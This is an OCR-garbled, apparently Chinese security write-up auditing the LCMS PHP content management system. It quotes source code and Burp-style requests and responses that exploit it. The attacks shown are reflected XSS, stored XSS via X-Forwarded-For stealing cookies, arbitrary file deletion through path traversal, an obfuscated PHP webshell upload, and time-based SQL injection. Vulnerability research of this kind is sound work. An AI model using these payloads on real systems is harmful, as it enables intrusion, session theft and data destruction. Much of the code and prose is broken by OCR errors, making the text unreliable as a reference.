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$t = @$_GET['t"'] ? $_GET['t'] : "sys";

$n = @$_GET['n'] ? $_GET['n'] : "index";
$c = @$_GET['c'] ? $_GET['c'] : "index";
$a = @_GET['a'] ? $_GET['a'] : "index";

define("L_TYPE", $t);
define("L_NAME", $n);
define("L_CLASS", $c);
define("L_MODULE", "admin™);
define("L_ACTION", "do{$a}");

require_once '../core/route.php’;

827 / core/route.php HE, BHEE— T

define('PATH_UPLOAD", PATH WEB . "

define ("’ E', PATH  WEB . "core
define (' CLASS', PATH WEB .
define (' NC PATH WEB . "c
define (' GIN', PATH _WEB . core/
define (' _NOW', PATH APP . L TYPE . ' o 79N g
define (' i APP_ OWN', PATH _APP . L_TYPE . /', L_NAME . /. L_MODULE . VAR
define('PH FILE' , basename( FILE ));
o htmlentltles (& SERVER[ PHP_ SELF']) == "" 2 $_SERVER[ ' SCZF‘,IPT_}I}'Q{E' ] : htmlentities(
1))
, time());
, isset ($_SERVER[ '"HTT P_HOST 1) 2 $_SERVER[ "HTT P_HOST "1 o $_SERVER[ ' SEP,"SEF‘_}D;‘{E' 1);

deflne( 'HTTP E ORT", $_SERVER[”.EiER‘V-"EF‘,_P(}F‘,T "1):

define( 'Z—ZTTP_T(}-P' o $_SERVER[ 'HTTP_REFERER']) ;

define('HTTP QUERY', $_SERVER[ 'REQUEST_URI']) ;

define ('SERVER_IP', $_SERVER[ 'SERVER_ADDR']) ;

define ('PAGE_START', microtime (true) ) 5

require once PATH_CORE_FUNC . ommon. func.php';

require once PATH_CORE_CLASS . ’l ms . €lass.p 5

glf ((!L_NAME || 'L CLASS Il 'L_ACTION) && ‘preg’ match('/"[A-Za-z '—9_]+$/', L TYPE . L _NAME . L MODULE



https://xzfile.aliyuncs.com/media/upload/picture/20210628165242-333b7040-d7ee-1.png

L CLASS . L_ACTION) ) |
LCMS::X (403, "E#EU5A");
}
require once PATH_CORE_CLASS . 'load.gla8§.php';
define('CLIENT IP", LCMS::IP());
leoad: :module () ; |

(https://xzfile.aliyuncs.com/media/upload/picture/20210628165242-333b7040—
d7ee-1.png)
EXT—EEE, ®&AEAT load EKHHI module FRER, ZREUT \

core\class\load.class.php &

public static function module (Spath = '', Smodulename = '', S$Saction = ")
{
if (!Spath) {
if (!Spath) {
$path = PATH APP OWN;
t
if (!Smodulename) {
Smodulename = L CLASS;
t
if (!Saction) {
Saction = L ACTION;

t
if (!Saction) {

Saction = 'doindex';
t

}

return self:: load class($path, Smodulename, S$Saction);

(https://xzfile.aliyuncs.com/media/upload/picture/20210628165410-67c2bab2—
d7ee-1.png)
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private static function load class(Spath, S$Sclassname, Saction = '')
{
Sclassname = str replace('.class.php', '', Sclassname) ;
$is_myclass = 0;
if (!@self::Smclass [$classnarde] )y {
if (is_file($path . Sclassname . '.class.php')) {

require once S$path . Sclassname . '.class.php'; /
} else |
LCMS::X (404, str replace (PATH WEB, '', S$path) . $classname . '.class.php M AFAFfE");

}

(https://xzfile.aliyuncs.com/media/upload/picture/20210628165518-900c6c20—
d7ee-1.png)
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* @param {*}
* @return {*}

*/

{

public static function X(Serrcode, Serrmsg, $go = "")
if ($_SERVER['CONTENT TYPE'] == "application/json" || (isset($ SERVER["HTTP X REQUESTED WITH"]) &s&
strtolower($7SERVER["HTTPixiREQUESTED7WITH”]) == "zmlhttprequest")) |
ajaxout (0, Serrmsg ?: "JEZEVE]! ");
} else {
global $_L;
$X["code"] = Serrcode ?: 403;
$X["msg"] = Serrmsg ?: "JELELGH! "
require self::template(PATH PUBLIC . "ui/admin/X");
}
exit;

(https://xzfile.aliyuncs.com/media/upload/picture/20210628165622-b67864fe—
d7ee-1.png)
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public static tunction template|bpath, %ui = "}
i
global ¢ | ;
$dir = explode( delimiter: '/', $path);
$postion = $dir[0];
$fpath = substr(stristr(%path, needle: /'), start 1);
if ($postion == 'own') {
$uipath = $ui ? "{$uil}s/" : "";
$file = PATH_APP_OWN . "tpl/{%uipath}{%fpath}.html";

} el

T el

¥

$fpath = str _replace( search: PATH_WEB, replace: "», $file);

seif ($postion == 'wi') {

$file = PATH_PUBLIC . "ui/" . L_MODULE . "/{$fpath}.html";
$fpath = str_replace( search: PATH_WEB, replace: "", $file);
se {

$file = "{$path}.html";

$fpath = str_replace( search: PATH_WEB, replace: "", $file);

is file($file) || LCMS::X( errcode: 484, errmsg: "{$fpath} XHFRIES");

%cna

4cac

me = substr(md5($fpath), start: 8, length: 16);
he = PATH_CACHE . "tpl/{%$cname}.php";

if (filemtime($file) > filemtime($cache)) {

$html = file get contents($file); Em}ﬁ%{%’%‘*ﬁﬂi

preg match_all( pattern: "z{{(.*?)}}/i", $html, &matches: $match);
preg_match_all( pattern: "z<(.*2Y(\/]|*")»(?!=)/4i", $html, &matches: $tags);
£ FTREE R b b
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BYAY XSS

s READMEmd ~ (€ load.class, php g index.php © g route.php < gL common.func.php € lems.class.php 55 f552f0c1cd67b78f.php
: S i T e e = 7
8 <meta content="yes" namez="apple-mobile-web-app- capable />

i) <meta content="black" name="apple-mobile-web-app-status-bar-style” />

] <meta content="telephone=no" name="format-detection" />

4} <link rel="stylesheet" href="/public/static/layui/ess/layui.css" />

12 mN <style type="text/css">.msg a{color:#ffadad;text-decoration:underline;}.msg a:hover{color:#FS56CEC}</style>

3 </head>

s <body style="...">

15 <?php }?>

e <div style="text-align:center;position:relative;box-sizing:border-box;padding-top:20vh;height:calc(100vh - 300px);"
7 <i class="layui-icon layui-icon-face-cry” style="..."></fi>

8 <p style="...">HI T o)</ p>

) {p class="msg" style="...">

a ‘-- [<?php echo $X['code']; 2?>] : <?php echo $X['msg"']; ?>

il </p>

12 <?php if ($go){ ?>

3 <p style="...">

4 EDisReE
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D O 127.0.0.1:8100/admin/index.php?t=sys&n=config&c=<img src=1 onerror=alert(1)>&a=index
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XSS,

|POST /admin/index. php*n=loginka=checl HTTP/1.1

jHost: 192, 168. 5. 155 8100

|User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64 rv:89.0) Gecko/20100101 Firefox/89.0
‘hccept: application/json. text/javascript., */%; g=0.01

Accept—-Language: zh-CH, zh;g=0. 8, zh-TW,;q=0. 7, zsh—HEK ; g=0. 5, en-US,; g=0. 3, en; g=0. 2
Accept—Encoding: pgzip, deflate

Content—Type: application/z—www—form—urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content—Length: 81

Origin: http://192.168.5.155: 8100

Commection: close

Referer: http://192.168.5.155: 8100/ adnin/index. php?rootid=0&n=loginkgo=http%34%2F%2F192. 168
Cookie: LCMSCID=5367CA4FFAEFF36TSILILE; LCMSSID=LCMS5367TCA4FFABFFEGTSILILE
{—Forwarded-For: <img src=1 onerror=alert(document. cookie) >| | P{j(g = =)

go=httph%3A%2F%2F192. 1658, 5. 155%348100%2Fadnin% 2Finame=ad lkpass=adn kcode=6032

5. 155%348100%:
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if (Sadmininfo['status'] == "1') {
if (Sadmininfo['lasttime'] > "0000-00-00 00:00:00" && Sadmininfo['lasttime'] < datenow()
ajaxout (0, "UMENK ) ERIH ;
} else {
Sadmininfol'parameter'] Squarr($admininfo['parameter']);

unset (Sadmininfo['pass']
$logintime datenow();
Sadmininfo['logintime'] = $logintime;
SESSION: :set ("LCMSADMIN", Sadmininfo);
sql_update (["admin", ["logintime" => Slogintime, ["ip" => CLIENT IPh, "id =
{$Sadmininfo['id"1}""1):

ajaxout (1, "EFFMII", $ L['form']['go"'] 2 $ L['form"]['go'] : $ L['url'l[’

v

admin']);

(httns:/ /x7fle aliviincs com/media/tinload/nictiire/20210628171830—cdd70d32 -
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M CLIENT IP, IRIE2BT 204N LCMS::IP(), IRFHEIFE = RE, REIF \

core\class\lcms.class.php F, RIERE A FREHE A UEEF RIS P

public static function IP()

{
$iplib = ["HTTP ALI CDN REAL IP", "HTTP TRUE CLIENT IP",
"HTTP X REAL FORWARDED FOR", "HTTP X CONNECTING IP", "HTTP CF CONNECTING IP",
"HTTP X FORWARD FOR", "HTTP X REAL IP", "HTTP X FORWARDED FOR", "REMOTE ADDR"];
foreach ($iplib as 5val) |
if (isset(S$_SERVER[Sval]) && $_SERVER[S$val] && strcasecmp (5 SERVER[$vall,
"unknown")) {
Sips = explode(',', $ SERVER[Svall);
$ip = $ips[0];
break;
}
}
return Sip;
}

(https://xzfile.aliyuncs.com/media/upload/picture/20210628171909-e539265e—
d7f1-1.png)
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email mobile type  balance  addtime lasttime  logintime  parameter ip lems
lems 0.00 2019-01-01 00:00:0C 2021-06-28 - 188.8.8.8 0
1247 0.00 2021-06-28 14:39:112021-07-10 2021-06-28 ~ |<img src=1 onerror=alert{docu | 0
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SR REAS P ONIME, EFFBLIRE \ app\sys\user\admin\admin.class.php

$acount = sgl_counter(["admin"]);
require LCMS::template( path: "own/admin-list");

(https://xzfile.aliyuncs.com/media/upload/picture/20210628172001-0421e4c0—
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IRHBEFRE, RRENIT \ app\sys\backup\admin\database.class.php &

case 'del':
$file = PATH_WEB
if (is_file($file)) {
delfile($file);
ajaxout(l, "MUEERLIL™);
1 else {
ajaxout(@, "XHAREFE");
ks

break;

"backup/data/{$_L['form']["'name']}";

IR R delfile BREL, 1ZREN=VEA path_absolute PRIZL, 1ZRETE

\core\function\file.func.php FF/EILIE

function path_absolute($path)

{
$path = PATH_WEB . str_replace([

"o/, "./", PATH_WEB,
1, "", $path);

$path = str_replace("\/", "\\", $path);

return is_dir($path) ? path_standard($path) : $path;

TR/ ./, 7E windows 248 T a] BUE .

Request

Raw | Params | Headers | Hex

Gl

Response

Raw | Headers | Hex | Render

GET /admin/index. php?t=sysén=hackuplkc=databaseka=indexkaction=deléname=. . \.. \1. tzt
HTTP/1.1

Host: 127.0.0.1:8100

User—Agent: Mozilla/5.0 (Windows NT 10.0: WinG4: x64; rv:88.0) Gecko/20100101
Firefox/88.0

Accept: application/json, text/javascript, #/#; g=0.01

Accept-Language: sh—CN, zh; q=0. 8, zh-TW;g=0. 7. sh-HK; q=0. 5, en-US ; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8100/adnin/index. php?t=sysén=backuplc=databaseka=
X-Requested-With: XMLHttpRequest

Commection: close

Cookie: LCMSCID=ADOEED49838EGTTET]7842; LCMSSID=LCHSADOEED49838EGTTBTI 7842
K-Forwarded-For: 72.10.15.91

X-Originating-IP: 72.19.15.91

XK-Remote-IP: 72.19.13.91

K-Remote-Addr: 72.19.15.91

HITP/1.1 200 OK

Date: Mon. 24 May 2021 09:15:49 GMT

Server: Apache/2.4.38 (Win64) OpenSSL/1.1.1b mod_fegid/2. 3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4

Expires: Thu, 19 Now 1981 08:52:00 GMT

Cache-Contrel: no-store, no-cache, must-revalidate
Pragma: no—cache

Set—Cookie: LCMSSID=LCMSADOEED49838EGTTBTI 7842, path=/
Commection: close

Content-Type: text/html; charset=UTF-&

Content-Length: 49

{"code”: 1, "msg”: "MEERY)", "go”: "7, "data”: "}
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POST /admin/index. php?n=uploadkc=indexta=localétype=inage HITP/1. 1
Host: 127.0.0.1:8100

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64; rv:88.0)
Gecko/20100101 Firefox/88. 0

Accept: application/json, text/javascript. */*: g=0.01
Accept-Language:

zh-CN, zh: g=0. &, zh-TW:g=0. 7, zh-HK : g=0. 5, en-US:¢=0. 3, en: ¢=0. 2
Accept-Encoding: gzip, deflate

Referer

http://127. 0. 0. 1: 8100/ adwin/ index. php?t=syskn=configkec=adminka=index
Y-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data;
boundary=----—-—----—--———---—-——--3806814356170053980754832740
Content-Length: 448

Origin: http://127.0.0.1:8100

Conmection: close

Cookie: LCMSCID=A1EE31BG47B45EDISCYVYUE;
LCMSSID=LCMSAIEE31BG4TB45EDIGCVYUE ; KDEBUG_SESSION=PHPSTORN
X-Forwarded-For: 72.19.15.91

¥-Originating-IP: 72.10.15.91

X-Remote-IP: 72.19.15.91

X-Remote-Addr: 72.19.15.91

e -3806814356170053980754832740
Content-Disposition: form-data; name="file"; filename="one.php”
Content-Type: application/octet-stream

GIF89a

<?php

B =" TS" e e[ Ak

@_=/wm e S 4= §_ e 4

@/ -/ u-rf (§/ 3=/ wmf 7P [/ 44/ "05" . /- fu=%/"T"}

L/ wmf e f O umfomnf= = f a2 am [ f= [ frmnf S fuonf 1) | ]S -
kR

—————— = ——————————————————-38088143561 79053980 754832 T 40—
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FEREAIT \ core\class\upload.class.php 7, RE php 2 FHNERZENI LI

XA £ getshell

A HITP/1.1 200 OK
*

Date: Thu, 27 May 2021 01:33:43 GMT

Server: Apache/2.4.39 (Winf4) OpenSSL/1.1.1b mod_fegid/2.3.9a mod_log_rotate/1.02
H-Powered-By: PHP/7.3.4

Expires: Thu, 19 Hov 1981 03:52:00 GMI

Cache-Centrol: no-store, no-cache, must-revalidate

Pragma; no-cache

Set-Cookie: LCMSSID=LCHSAIEE31BA47B45EDISCTYUR; path=/

Comnection: close

Content-Type: text/html: charset=UTF-8

Content-Length: 194

~ BT, “ge”: "7, "data”: {"dir”: ". . \/upload\/0\/image\/202105\/",
HEMT Y+ j AMDQyMzUxNTghiQ. php ™, “sre”: ". . \/upload\/0\/image\/202105\/CHE
MYy AMDOyMzUsNT Q. php”} }

2021/5/27 9:53

| + | 202105
= uE  =A
« “ 1 m=r b pi Bl | e »
. a5 - i52E
shom
s + 4| GHEMTYyMjAMDQyMzUxNTgMQ.php
11 *
»*
LR | *
- *
| S8 gy |
L
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$file = $para ? $para : $ FILES['file'];
1 if ($file['error'] '= 0) {
return self::out(0, " "fL4<) copr: {$file['error']1}");
i
| Smime = substr($file['name'], strrpos($file['name'], ".") + 1); |

7 : Ssize round (Sfile['size'] / 1024); TREST 4
1 if ($size > § L['config']['admin']['attsize']) {
/7 IR SO RN I A R
Sreturn = self::out( N (S LI 'config'] ['admin'] ['attsize']}KR");
} else { }t{#]zi’*%frﬂiéﬁfm?ﬁ’]]:i”%LJ‘JIE@E.
3 | if (stripos($ L['config']['admin']['mimelist'], $mime)| == false) {
Sname = randstr (3, "let") . preg replace("/[0-9]/", '', str replace(["+", "-", "=", "/"
], "", base6d4 encode (strval(time()) . microseconds()))) . " {Smime}";
1 if (is_url($Spara) && file put contents("{S5dir}{$name}", S$file)) {

$return = self::out(l, " [AL%I", path_relative($dir), Sname);
} elseif (move uploaded file(Sfile['tmp name'], "{Sdir}{Sname}")) {

S$return = self::out(l, " [ A&Lpkihr, path_relative($dlr), Sname) ;
} else {

Sreturn = self::out (0, "_FALJNL™);
1
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render | MarkINFO
POST /aduan/index. php?t=s7 <« HITP/1.1 i )
Host: 127.0.0.1:8100 r
User-Agent: Mezilla/5.0 (Windows NI 10.0; Win4; =64; rv:88.0) Gecko/20100101 Firefox/88.0 Imemcached] => Array
Accept: application/json, text/javascript, */*; g=0.0 (

Aceept-Language: zh=Cl, zh; g=0. 8, zh-TW; q=0. 7, 2h-HK ; q=0. 5, en-US | g=0. 3, en  q=0. 2
Aceept-Encoding: gzip. deflate
Referer: http://127.0.0. 1 8100/adnin/index. php?t=sysin=configkc=adninka=safe

Content-Type: application/s—www—forn-urlencoded: charset=UTF-8 [timeout] => 30
¥-Requested-With: MLHtrtpRequest [session] => 1
Content-Length: 353 )

Origin: http://127.0.0.1:8100

Comnection: close [form] => Array
03D2582RTTVRI ; LCHSSID=LCHSD7541104F03D2582RTTVRT

1 => sys

=> config

=> adwin
[a]l => safe

[action] => save
LC%5Bdir5D=adninkLCh5Bsessiont ine%5D=ELCY5Blogin_lini t5D=0LLCY5B1ogin_code%5D%5Btypeb5D=0ELCY5BLo [LCMSCID] => D75A110AF03D2582RTTVRT

gin_code%5D%5B donain%5D=tLCY5Blogin_cods5D%5B 1uos inaok5D%5Bsite_key45D=LLCH5B1ogin_codeh5D%5BIu0s1 [LCHSSID] => LCMSD75A110AF03D2582RTTVRT
mao%5D%5Bapi_keyh5D=ELCY5Battsizeh5D=300LLCH5Bnine List§5D=ipe%TCipeghTCong% TCe 1 FHTChups TCupI% Tt [LC] => Array
TCes v TCphptLCh5Bdeve lopnent5D=0LLC45Bsess ion_typeksd=0 «

[dir] => admin

BB BRphpRFE 7 EALCH Brointinrdd 5 0
Tlogin_code] => Array
«

[typel => 0

[domain] =>

[luosimac] => Array
<

[site_keyl =>
[api_keyl =>

)
)

[attsize]l => 300

[mimelist] => jpglipee|pngleif [bup lmp2|tst |osviphp
[development] =>

[session_typel => 0

)
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d7f3-1.png)

IR TR, LT app\sys\config\admin\admin.class.php HH dosafe BRIEL, 1%
RARAPAMINEZR2RFEEREER, ARNAZENMNERTZEFRESH
R EFEH FRRE


https://xzfile.aliyuncs.com/media/upload/picture/20210628173133-a04ab1e6-d7f3-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210628173158-af629054-d7f3-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210629095538-1a2eb546-d87d-1.png

public function dosafe ()
{
global 5 L;
switch ($ L['form']['action']) ({
case 'save':
if ($ L['"form"]['LC']['dir'] !=
if (!getdirpower (PATH WEB))
unset(s_L[‘form']['LC']['dir']);
ajaxout (1, "M HFEBASHIR", "reload");

$ L['config']["admin"] ["dir"]) {
{

} else {
Schange = true;
t
}
LCMS: :config ([
"do" => "save",

”typ@" :> ":':SYS",
"cate" => "admin",
"lcms" => true,

1)
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["layui™ => "title", "title" => " FALZi4e"],
["layui™ => "input", "title" => " ALK /",
"name" => "LCl[attsize]",
"value"™ => $Sconfig['attsize'],
"tips" < => "R AL LA RS, BAAIKBT,
"verify" => "required"],
["layui™ => "tags", "title" => "I H L E",
"name" => "LC[mimelist]",
"value" => Sconfig['mimelist'],
"tips"  => "JSOUT AR A5 B SRR U,

"verify" => "required"],
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payload: adminl'and(select*from(select+sleep(1))a)="

Request Response

@Params Headers | Hex @Headevs Hex

Apache/2.4.39 (Vin64) OpenSSL/1.1.1b mod_fegid/2. 3.9a mod_log_ratate/1.02
red-By: FHP/7.3.4
s: Thu, 19 Nov 1981 08:52:00 GHT
ol mrsture, no-cache, must-revalidate

Host: 127.0.0.1:8100

Cookie: LCMSCID=D7541104F03D2582RTTVRT :
LCHSSID:LCMSD‘5A110AF03D‘58‘RTTVRT path=/
ntent-Type: text/htnl; charset=UTF-8

v

POST . HITR/1.1 200 OK 0
/adnin/index. php?a=ifranetact ion=adni i inl’ and(sel Date: Tue, 25 May 2021 07:25:48 GHT
ect#fron(select+sleep (0.5))a)= h sys HITP/1.1

v

Done

@ [Type a search tem Omatches (3 [Tvpe & search term — | 0 matchey

—
389 bytes | 2,651 millis|
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POST
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/adnin/ index. php?a=ifranckaction=adni ingreuser inl” and (sel

ue, 25 May 2021 07:30:03 GMI B

t#from(select+sleepil))a) HITP/1.1 Apache/2.4.39 (Vin64) OpenSSL/L.1.1b med_fcgid/2.3.9a mod_log_rotate/1.02
Host: 127.0. 100 red-By: PHP/7.3.4
Cookie: LCMSCID=DT54110AF03D2582RTIVRT Thu, 19 Nov 1981 08:52:00 GMT
ul ore, ne-cache, must-revalidate
LCHSSID LCHSDTBA1104F03D2582RTTVRT ; path=/
—Length:
onf t nt— T)JJ text/htul; charset=UTF-8
L E
@ | <||l+]|[=] tweasearch term omaches (2 | < ||+ |[> | Typeasearch term -\_‘.n matches
Done 389 bytes | 4,036 millis
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B sleep AY[B)AJ AEE] sleep b
% SQL EBEOHITIEFE A A, sleep B

Date

2021—05-25 15:32:50

REERLT

SQL

‘SHI]W WARNTHGS

MATESBIAEZE 7 KM 1 15,
RERE PR T sol 1B, HHATT sal v

BYE

=

|202].—05—25 15:32:50. ...

‘SELECT @@session. autocommit

|2021.—05—25 15:32:80. . ..

‘SET WEMES utfB

|202].—05—25 15:32:50. ...

‘SET character_set_results = IULL

|2021.ﬂ5425 15:32:50. . ..

‘SET global general log=on

|202].—05—25 15:32:50. ...

‘SET GLOEAL log_output= tahle’

|202].—05—25 15:32:54. . ..

‘S]’[O?c’ TAELES

|202].—05—25 15:32:54. ...

‘SELECT # FROM lems_confiz WHERE name = ' config &0 type = ' sws

M cate = admin’ AMD lems =0

|202].—05—25 15:32:54. ...

‘SELECT # FROM lems_config WHERE name = " config AND type = ' sys’

AND cate = "web' AND lems = "0°

|2021.—05—25 15:32:54. ...

‘SELECT # FROM lems_admin WHERE id = '1"

|202].—05—25 15:32:54. ...

‘SELECT # FROM lems_config WHERE name = ' config AND type = 'sys

AND cate = plugin’ AND lems =0

2021—05-25 15:32:564. ...

2021-05-25 15:32:55. ...

SELECT * FROM lems_config WHERE name = ' config AND type = 'sys

A cate = 'plugin’ AND lems = "0

INEELECT # FROM lems_admin WHERE name = ' adninl’ andiselect#fromiselect sleep(l)ja)="’ OR email = 'adninl’ and(select*from(select sleep(1))a

SHOW WARNINGS

|202].—05—25 15:32:88. ...

‘SELECT @@session. autocommit

|202].—05—25 15:32:58. . ..

‘SET WEMES utfs

|202].—05—25 15:32:88. ...

‘SET character_set_results = NULL
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case 'admin-check-name'
Sadmininfo = sql get(["admin",
mobile = ':name'", "id DESC", |

":name" => § L['form']['name'],

"name = ':name' OR email = ':name' OR

11)7
if (Sadmininfo) {

ajaxout (0, "IK S E2AFELLE™)
i
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global $_L;

$secure =% L['config']['admin']['https'] ? "https://" : ($_SERVER['HTTPS'] === 1 || %_SERVER['HTTP:
$url_site = $secure . HTTP_HOST . “/";
$url_now = $secure . HTTP_HOST . HTTP_QUERY;
$url_admin = $url_site . ($_L['config']['admin']['dir'] ?: "admin") . "/";
$_L['url'] = [

"secure" => $secure,

"site" => $url_site,

"now" => $url_now,

"admin" => $url_admin,

"public" => "{$url_site}public/",

"static” => "{%url_site}public/static/",

"upload” => "{%url_sitel}upload/",

"cache" => "{%url_sitelcache/",

"app" => "{%url_sitelapp/",

"qrcode” => "{%url_sitel}app/index.php?n=system&c=qr&text=",

"own" => "{%url_admin}index.php?",

“own_path" => "{$url_site}app/" . L_TYPE . "/" . L_NAME . “/",

“"own_form" => "{$url_admin}index.php?t=" . L_TYPE . "&n=" . L_NAME . "&c=" . L_CLASS . "&a=z=",
1;
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protected function load common_config()

{
global % L;
$ L['config']['admin'] = LCMS::config([

"name" => "config",

sys ,

"cate" => "admin",

Iltypell =}

"lems" => true,

1);

$ L['config']['web"] = LCMS: :config(][
"name" => "config",
"type" => "sys",
"cate" => "web",
"lems" => true,

1);

if ($ L[ 'config']["admin'][ 'development’']) {
$ L["config" ][ ver"] = "9999." . time();
ob _start();

} else {

Sversion = PATH CORE . "version":
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if (’ES_]F’ELE($VE;SJ-_DH)) {
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